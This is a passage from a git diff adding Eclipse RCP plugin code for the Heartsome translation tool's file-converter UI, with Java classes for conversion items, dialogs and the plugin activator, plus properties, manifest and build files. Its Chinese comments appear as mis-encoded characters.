转æ¢é¡¹ç›®å®žçŽ° + * @author cheney + * @since JDK1.6 + */ +public class FileConversionItem extends DefaultConversionItem { + + private IResource resource; + + /** + * IFile 构建函数 + * @param file + */ + public FileConversionItem(IFile file) { + super(file.getLocation()); + this.resource = file; + } + + /** + * IContainer 构建函数 + * @param folder + */ + public FileConversionItem(IContainer folder) { + super(folder.getLocation()); + this.resource = folder; + } + + /** + * IProject 构建函数 + * @param project + */ + public FileConversionItem(IProject project) { + super(project.getLocation()); + this.resource = project; + } + + @Override + public void refresh() { + try { + resource.getProject().refreshLocal(IResource.DEPTH_INFINITE, null); + } catch (CoreException e) { + // 忽略 + } + } + + @Override + public boolean contains(ISchedulingRule rule) { + if (this == rule) { + return true; + } + if (rule instanceof FileConversionItem) { + return resource.contains(((FileConversionItem) rule).resource); + } + if (rule instanceof IResource) { + return resource.contains(rule); + } + return super.contains(rule); + } + + @Override + public boolean isConflicting(ISchedulingRule rule) { + if (rule instanceof FileConversionItem) { + return resource.isConflicting(((FileConversionItem) rule).resource); + } + if (rule instanceof IResource) { + return resource.isConflicting(rule); + } + return super.isConflicting(rule); + } + + @Override + public IConversionItem getParent() { + return new FileConversionItem(resource.getParent()); + } + + @Override + public IConversionItem getProject() { + return new FileConversionItem(resource.getProject()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/model/FileConversionItemAdapterFactory.java b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/model/FileConversionItemAdapterFactory.java new file mode 100644 index 0000000..ed016bd --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/convert/ui/model/FileConversionItemAdapterFactory.java @@ -0,0 +1,26 @@ +package net.heartsome.cat.convert.ui.model; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.runtime.IAdapterFactory; + +/** + * IFile å’Œ FileConversionItem 的适é…器工厂 + * @author cheney + * @since JDK1.6 + */ +public class FileConversionItemAdapterFactory implements IAdapterFactory { + + @SuppressWarnings("rawtypes") + public Object getAdapter(Object adaptableObject, Class adapterType) { + if (adapterType == IConversionItem.class) { + return new FileConversionItem((IFile) adaptableObject); + } + return null; + } + + @SuppressWarnings("rawtypes") + public Class[] getAdapterList() { + return new Class[] { IConversionItem.class }; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/Messages.java new file mode 100644 index 0000000..8401770 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/Messages.java @@ -0,0 +1,40 @@ +package net.heartsome.cat.converter.ui.rcp.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.ui.rcp.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/message.properties b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/message.properties new file mode 100644 index 0000000..72df7b3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/message.properties @@ -0,0 +1,9 @@ +dialog.FileConversionItemDialog.filterName1 = SRX \u6587\u4ef6 [*.srx] +dialog.FileConversionItemDialog.filterName2 = XML \u6587\u4ef6 [*.xml] +dialog.FileConversionItemDialog.filterName3 = \u6240\u6709\u6587\u4ef6 [*.*] +#dialog.WorkspaceDialog.title = XLIFF \u6587\u4ef6\u4fdd\u5b58\u4f4d\u7f6e +#dialog.WorkspaceDialog.shell = # +#dialog.WorkspaceDialog.label = \u6587\u4ef6\u540d +#dialog.WorkspaceDialog.msg = \u9009\u62e9\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u7684\u4e00\u4e2a\u6587\u4ef6\u5939\uff0c\u5e76\u8f93\u5165\u6587\u4ef6\u540d\u3002 +#dialog.WorkspaceDialog.msg1 = \u8f93\u5165\u6587\u4ef6\u540d +#dialog.WorkspaceDialog.msg2 = \u6587\u4ef6\u540d\u4e0d\u80fd\u5305\u542b\u4efb\u4f55\u6587\u672c\u6bb5\u3002 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/message_en.properties new file mode 100644 index 0000000..0cce199 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/message_en.properties @@ -0,0 +1,9 @@ +dialog.FileConversionItemDialog.filterName1 = SRX File [*.srx] +dialog.FileConversionItemDialog.filterName2 = XML file [*.xml] +dialog.FileConversionItemDialog.filterName3 = All Files [*.*] +#dialog.WorkspaceDialog.title = XLIFF \u6587\u4ef6\u4fdd\u5b58\u4f4d\u7f6e +#dialog.WorkspaceDialog.shell = # +#dialog.WorkspaceDialog.label = \u6587\u4ef6\u540d +#dialog.WorkspaceDialog.msg = \u9009\u62e9\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u7684\u4e00\u4e2a\u6587\u4ef6\u5939\uff0c\u5e76\u8f93\u5165\u6587\u4ef6\u540d\u3002 +#dialog.WorkspaceDialog.msg1 = \u8f93\u5165\u6587\u4ef6\u540d +#dialog.WorkspaceDialog.msg2 = \u6587\u4ef6\u540d\u4e0d\u80fd\u5305\u542b\u4efb\u4f55\u6587\u672c\u6bb5\u3002 diff --git a/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/message_zh.properties new file mode 100644 index 0000000..72df7b3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui.rcp/src/net/heartsome/cat/converter/ui/rcp/resource/message_zh.properties @@ -0,0 +1,9 @@ +dialog.FileConversionItemDialog.filterName1 = SRX \u6587\u4ef6 [*.srx] +dialog.FileConversionItemDialog.filterName2 = XML \u6587\u4ef6 [*.xml] +dialog.FileConversionItemDialog.filterName3 = \u6240\u6709\u6587\u4ef6 [*.*] +#dialog.WorkspaceDialog.title = XLIFF \u6587\u4ef6\u4fdd\u5b58\u4f4d\u7f6e +#dialog.WorkspaceDialog.shell = # +#dialog.WorkspaceDialog.label = \u6587\u4ef6\u540d +#dialog.WorkspaceDialog.msg = \u9009\u62e9\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u7684\u4e00\u4e2a\u6587\u4ef6\u5939\uff0c\u5e76\u8f93\u5165\u6587\u4ef6\u540d\u3002 +#dialog.WorkspaceDialog.msg1 = \u8f93\u5165\u6587\u4ef6\u540d +#dialog.WorkspaceDialog.msg2 = \u6587\u4ef6\u540d\u4e0d\u80fd\u5305\u542b\u4efb\u4f55\u6587\u672c\u6bb5\u3002 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.ui/.checkstyle b/hsconverter/net.heartsome.cat.converter.ui/.checkstyle new file mode 100644 index 0000000..5a8a8cd --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/.checkstyle @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ui/.classpath b/hsconverter/net.heartsome.cat.converter.ui/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ui/.gitignore b/hsconverter/net.heartsome.cat.converter.ui/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/hsconverter/net.heartsome.cat.converter.ui/.options b/hsconverter/net.heartsome.cat.converter.ui/.options new file mode 100644 index 0000000..8413407 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/.options @@ -0,0 +1,7 @@ +# Debugging options for the net.heartsome.cat.converter.ui + +# Turn on debugging for the net.heartsome.cat.converter.ui +net.heartsome.cat.converter.ui/debug=false + +# Print debug information for the conversion configuration info +net.heartsome.cat.converter.ui/debug/conversion=false diff --git a/hsconverter/net.heartsome.cat.converter.ui/.project b/hsconverter/net.heartsome.cat.converter.ui/.project new file mode 100644 index 0000000..e977740 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.ui + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.ui/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.ui/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..0ce4488 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Tue Jun 15 10:14:37 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.ui/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.ui/META-INF/MANIFEST.MF new file mode 100644 index 0000000..9cb92b2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/META-INF/MANIFEST.MF @@ -0,0 +1,32 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Ui +Bundle-SymbolicName: net.heartsome.cat.converter.ui;singleton:=true +Bundle-Version: 1.0.0.qualifier +Bundle-Activator: net.heartsome.cat.convert.ui.Activator +Require-Bundle: org.eclipse.ui;resolution:=optional, + org.eclipse.core.runtime, + net.heartsome.cat.converter;bundle-version="1.0.0", + org.eclipse.core.databinding;bundle-version="1.2.0", + org.eclipse.jface.databinding;bundle-version="1.3.0";resolution:=optional, + org.eclipse.core.databinding.beans;bundle-version="1.2.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + org.eclipse.rap.ui;bundle-version="1.2.0";resolution:=optional, + org.eclipse.rap.jface.databinding;bundle-version="1.2.0";resolution:=optional, + org.eclipse.rwt.widgets.upload;bundle-version="1.0.0";resolution:=optional, + org.eclipse.core.databinding.property;bundle-version="1.2.0", + org.eclipse.nebula.widgets.tablecombo;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: net.heartsome.cat.common.resources, + net.heartsome.cat.common.ui.handlers, + net.heartsome.cat.ts.bean, + net.heartsome.cat.ts.core.file, + org.eclipse.core.expressions, + org.eclipse.core.filesystem, + org.eclipse.core.resources, + org.eclipse.ui.ide, + org.slf4j +Export-Package: net.heartsome.cat.convert.ui.command, + net.heartsome.cat.convert.ui.model, + net.heartsome.cat.convert.ui.utils diff --git a/hsconverter/net.heartsome.cat.converter.ui/build.properties b/hsconverter/net.heartsome.cat.converter.ui/build.properties new file mode 100644 index 0000000..63e0db5 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/build.properties @@ -0,0 +1,7 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = plugin.xml,\ + META-INF/,\ + .,\ + icons/ diff --git a/hsconverter/net.heartsome.cat.converter.ui/icons/convert file.png b/hsconverter/net.heartsome.cat.converter.ui/icons/convert file.png new file mode 100644 index 0000000..3aea10f Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.ui/icons/convert file.png differ diff --git a/hsconverter/net.heartsome.cat.converter.ui/icons/convert-to xliff.png b/hsconverter/net.heartsome.cat.converter.ui/icons/convert-to xliff.png new file mode 100644 index 0000000..1f22534 Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.ui/icons/convert-to xliff.png differ diff --git a/hsconverter/net.heartsome.cat.converter.ui/icons/convert-xliff to.png b/hsconverter/net.heartsome.cat.converter.ui/icons/convert-xliff to.png new file mode 100644 index 0000000..fc77df2 Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.ui/icons/convert-xliff to.png differ diff --git a/hsconverter/net.heartsome.cat.converter.ui/plugin.xml b/hsconverter/net.heartsome.cat.converter.ui/plugin.xml new file mode 100644 index 0000000..768235a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/plugin.xml @@ -0,0 +1,79 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/Activator.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/Activator.java new file mode 100644 index 0000000..68546cd --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/Activator.java @@ -0,0 +1,78 @@ +package net.heartsome.cat.convert.ui; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + /** + * 在执行文件转æ¢æ—¶ï¼Œæ˜¯å¦æ‰“å°è½¬æ¢é…置信æ¯çš„控制开关 + */ + public static final String CONVERSION_DEBUG_ON = "net.heartsome.cat.converter.ui/debug/conversion"; + + /** + * The plug-in ID + */ + public static final String PLUGIN_ID = "net.heartsome.cat.convert.ui"; + + // The shared instance + private static Activator plugin; + + // bundle context + private static BundleContext context; + + /** + * The constructor + */ + public Activator() { + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + Activator.context = context; + plugin = this; + } + + /** + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + Activator.context = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * Returns an image descriptor for the image file at the given plug-in relative path + * @param path + * the path + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + /** + * 获得æ’件的 bundle context + * @return æ’件的 bundle context; + */ + public static BundleContext getContext() { + return context; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/ImplementationLoader.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/ImplementationLoader.java new file mode 100644 index 0000000..e5d304a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/ImplementationLoader.java @@ -0,0 +1,38 @@ +package net.heartsome.cat.convert.ui; + +import java.text.MessageFormat; + +/** + * 加载具体的 factory facade 实现 + * @author cheney + * @since JDK1.6 + */ +public final class ImplementationLoader { + + /** + * + */ + private ImplementationLoader() { + // 防止创建实例 + } + + /** + * 加载特定实现类的实例 + * @param type + * 特定实现类的接å£ç±»åž‹ + * @return ; + */ + @SuppressWarnings("unchecked") + public static Object newInstance(final Class type) { + String name = type.getName(); + Object result = null; + try { + result = type.getClassLoader().loadClass(name + "Impl").newInstance(); + } catch (Throwable throwable) { + String txt = "Could not load implementation for {0}"; + String msg = MessageFormat.format(txt, new Object[] { name }); + throw new RuntimeException(msg, throwable); + } + return result; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/action/ConversionCompleteAction.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/action/ConversionCompleteAction.java new file mode 100644 index 0000000..f6e823f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/action/ConversionCompleteAction.java @@ -0,0 +1,94 @@ +package net.heartsome.cat.convert.ui.action; + +import java.io.File; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorDescriptor; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.ide.IDE; + +/** + * 演示文件转æ¢åŽå°çº¿ç¨‹çš„转æ¢ç»“æžœ action + * @author cheney,weachy + * @since JDK1.5 + */ +public class ConversionCompleteAction extends Action { + + private IStatus status; + + private Map conversionResult; + + /** + * 转æ¢å®Œæˆ action 的构造函数 + * @param name + * action 的显示文本 + * @param status + * 转æ¢çš„ç»“æžœçŠ¶æ€ + * @param conversionResult + */ + public ConversionCompleteAction(String name, IStatus status, Map conversionResult) { + setText(name); + setToolTipText(name); + this.status = status; + this.conversionResult = conversionResult; + } + + @Override + public void run() { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + Assert.isNotNull(window); + Shell shell = window.getShell(); + if (status.getSeverity() == IStatus.ERROR) { + MessageDialog.openError(shell, "文件转æ¢å¤±è´¥", status.getMessage()); + } else { + // 转æ¢å®ŒæˆåŽç›´æŽ¥æ‰“开编辑器,ä¸å†è¿›è¡Œå¼¹æ¡†æ示。 + // MessageDialog.openInformation(shell, "文件转æ¢å®Œæˆ", status.getMessage()); + final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + String xliffFile = conversionResult.get(Converter.ATTR_XLIFF_FILE); + IWorkbenchPage page = window.getActivePage(); + Assert.isNotNull(page, "当å‰çš„ Active Page 为 null。无法打开转æ¢åŽçš„文件。"); + if (xliffFile != null) { + IEditorDescriptor editorDescriptor = PlatformUI.getWorkbench().getEditorRegistry().findEditor( + XLIFF_EDITOR_ID); + if (editorDescriptor != null) { + try { + IDE.openEditor(page, new File(xliffFile).toURI(), XLIFF_EDITOR_ID, true); + } catch (PartInitException e) { + MessageDialog.openInformation(shell, "æ示", "转æ¢å®Œæˆï¼ä½†æ˜¯åœ¨å°è¯•æ‰“开该 XLIFF 文件时å‘生异常:\n" + e.getMessage()); + e.printStackTrace(); + } + } + } else { + String targetFile = conversionResult.get(Converter.ATTR_TARGET_FILE); + if (targetFile == null) { + MessageDialog.openError(shell, "错误", "为找到已转æ¢æ–‡ä»¶çš„路径ï¼"); + } else { + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + IFile input = root.getFileForLocation(new Path(targetFile)); + try { + // 使用外部编辑器(系统默认编辑器)打开文件。 + IDE.openEditor(page, input, IEditorRegistry.SYSTEM_EXTERNAL_EDITOR_ID); + } catch (PartInitException e) { + MessageDialog.openInformation(shell, "æ示", "转æ¢å®Œæˆï¼ä½†æ˜¯åœ¨å°è¯•ä½¿ç”¨ç³»ç»Ÿé»˜è®¤ç¨‹åºæ‰“开该文件时å‘生异常:\n" + e.getMessage()); + e.printStackTrace(); + } + } + } + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/command/ConverterCommandTrigger.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/command/ConverterCommandTrigger.java new file mode 100644 index 0000000..a3745db --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/command/ConverterCommandTrigger.java @@ -0,0 +1,64 @@ +package net.heartsome.cat.convert.ui.command; + +import java.util.Collections; + +import org.eclipse.core.commands.Command; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.NotEnabledException; +import org.eclipse.core.commands.NotHandledException; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.core.expressions.EvaluationContext; +import org.eclipse.core.expressions.IEvaluationContext; +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.ui.ISources; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.commands.ICommandService; + +public class ConverterCommandTrigger { + + /** + * 打开正转æ¢å¯¹è¯æ¡† + * @param window + * @param file + * ; + */ + public static void openConversionDialog(IWorkbenchWindow window, IFile file) { + openDialog(window, file, "net.heartsome.cat.convert.ui.commands.openConvertDialogCommand"); + } + + /** + * 打开逆转æ¢å¯¹è¯æ¡† + * @param window + * @param file + * ; + */ + public static void openReverseConversionDialog(IWorkbenchWindow window, IFile file) { + openDialog(window, file, "net.heartsome.cat.convert.ui.commands.openReverseConvertDialogCommand"); + } + + private static void openDialog(IWorkbenchWindow window, IFile file, String commandId) { + IWorkbench workbench = window.getWorkbench(); + ICommandService commandService = (ICommandService) workbench.getService(ICommandService.class); + Command command = commandService.getCommand(commandId); + try { + EvaluationContext context = new EvaluationContext(null, IEvaluationContext.UNDEFINED_VARIABLE); + context.addVariable(ISources.ACTIVE_WORKBENCH_WINDOW_NAME, window); + if (file != null) { + StructuredSelection selection = new StructuredSelection(file); + context.addVariable(ISources.ACTIVE_CURRENT_SELECTION_NAME, selection); + } + command.executeWithChecks(new ExecutionEvent(command, Collections.EMPTY_MAP, null, context)); + } catch (ExecutionException e) { + e.printStackTrace(); + } catch (NotDefinedException e) { + e.printStackTrace(); + } catch (NotEnabledException e) { + e.printStackTrace(); + } catch (NotHandledException e) { + e.printStackTrace(); + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/ConfigConversionDialog.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/ConfigConversionDialog.java new file mode 100644 index 0000000..54f6d56 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/ConfigConversionDialog.java @@ -0,0 +1,141 @@ +package net.heartsome.cat.convert.ui.dialog; + +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.TitleAreaDialog; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.layout.LayoutConstants; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; + +/** + * 转æ¢æ–‡ä»¶é…置对è¯æ¡† + * @author cheney + * @since JDK1.6 + */ +public class ConfigConversionDialog extends TitleAreaDialog { + + private ConverterViewModel converterViewModel; + private ComboViewer supportList; + + private Button okButton; + + /** + * 构造函数 + * @param parentShell + * @param converterViewModel + */ + public ConfigConversionDialog(Shell parentShell, ConverterViewModel converterViewModel) { + super(parentShell); + this.converterViewModel = converterViewModel; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite parentComposite = (Composite) super.createDialogArea(parent); + + Composite contents = new Composite(parentComposite, SWT.NONE); + GridLayout layout = new GridLayout(); + contents.setLayout(layout); + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + contents.setLayoutData(gridData); + + Composite converterComposite = new Composite(contents, SWT.NONE); + converterComposite.setLayout(new GridLayout(2, false)); + + gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + converterComposite.setLayoutData(gridData); + + String direction = converterViewModel.getDirection(); + if (direction.equals(Converter.DIRECTION_POSITIVE)) { + supportList = createConvertControl("Convert from Suport format to Xliff", converterComposite); + } else { + supportList = createConvertControl("Convert from Xliff to Support format", converterComposite); + } + supportList.getCombo().setFocus(); + + bindValue(); + + Dialog.applyDialogFont(parentComposite); + + Point defaultMargins = LayoutConstants.getMargins(); + GridLayoutFactory.fillDefaults().numColumns(2).margins(defaultMargins.x, defaultMargins.y).generateLayout( + contents); + + return contents; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + okButton = createButton(parent, IDialogConstants.OK_ID, "OK", true); + okButton.setEnabled(false); + createButton(parent, IDialogConstants.CANCEL_ID, "Cancel", false); + } + + /** + * 创建文件类型列表 + * @param title + * @param composite + * @return ; + */ + private ComboViewer createConvertControl(String title, Composite composite) { + Label positiveConvertLabel = new Label(composite, SWT.NONE); + GridData positiveConvertLabelData = new GridData(); + positiveConvertLabelData.horizontalSpan = 2; + positiveConvertLabelData.horizontalAlignment = SWT.CENTER; + positiveConvertLabelData.grabExcessHorizontalSpace = true; + positiveConvertLabel.setLayoutData(positiveConvertLabelData); + positiveConvertLabel.setText(title); + + Label suportFormat = new Label(composite, SWT.NONE); + suportFormat.setText("Suport Format"); + + ComboViewer supportList = new ComboViewer(composite, SWT.READ_ONLY); + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + supportList.getCombo().setLayoutData(gridData); + supportList.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = event.getSelection(); + if (selection.isEmpty()) { + okButton.setEnabled(false); + } else { + okButton.setEnabled(true); + } + } + }); + + return supportList; + } + + /** + * 对 UI å’Œ View Model 进行绑定 ; + */ + private void bindValue() { + DataBindingContext dbc = new DataBindingContext(); + ConverterUtil.bindValue(dbc, supportList, converterViewModel); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacade.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacade.java new file mode 100644 index 0000000..1c99fa2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacade.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.convert.ui.dialog; + +import net.heartsome.cat.convert.ui.ImplementationLoader; + +import org.eclipse.swt.widgets.Shell; + +/** + * 打开文件对è¯æ¡†çš„ factory facade + * @author cheney + * @since JDK1.6 + */ +public abstract class FileDialogFactoryFacade { + private static final FileDialogFactoryFacade IMPL; + + static { + IMPL = (FileDialogFactoryFacade) ImplementationLoader.newInstance(FileDialogFactoryFacade.class); + } + + /** + * @param shell + * @return 返回具体的文件对è¯æ¡†å®žçŽ°; + */ + public static IConversionItemDialog createFileDialog(final Shell shell, int styled) { + return IMPL.createFileDialogInternal(shell, styled); + } + + /** + * @param shell + * @param styled + * @return 返回显示工作空间中的文件的对è¯æ¡†; + */ + public static IConversionItemDialog createWorkspaceDialog(final Shell shell, int styled) { + return IMPL.createWorkspaceDialogInternal(shell, styled); + } + + /** + * @param shell + * @return 返回文件对è¯æ¡†çš„内部实现; + */ + protected abstract IConversionItemDialog createFileDialogInternal(Shell shell, int styled); + + /** + * @param shell + * @param styled + * @return 返回显示工作空间中的文件的对è¯æ¡†;; + */ + protected abstract IConversionItemDialog createWorkspaceDialogInternal(Shell shell, int styled); + +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/IConversionItemDialog.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/IConversionItemDialog.java new file mode 100644 index 0000000..101c0b6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/IConversionItemDialog.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.convert.ui.dialog; + +import net.heartsome.cat.convert.ui.model.IConversionItem; + +/** + * 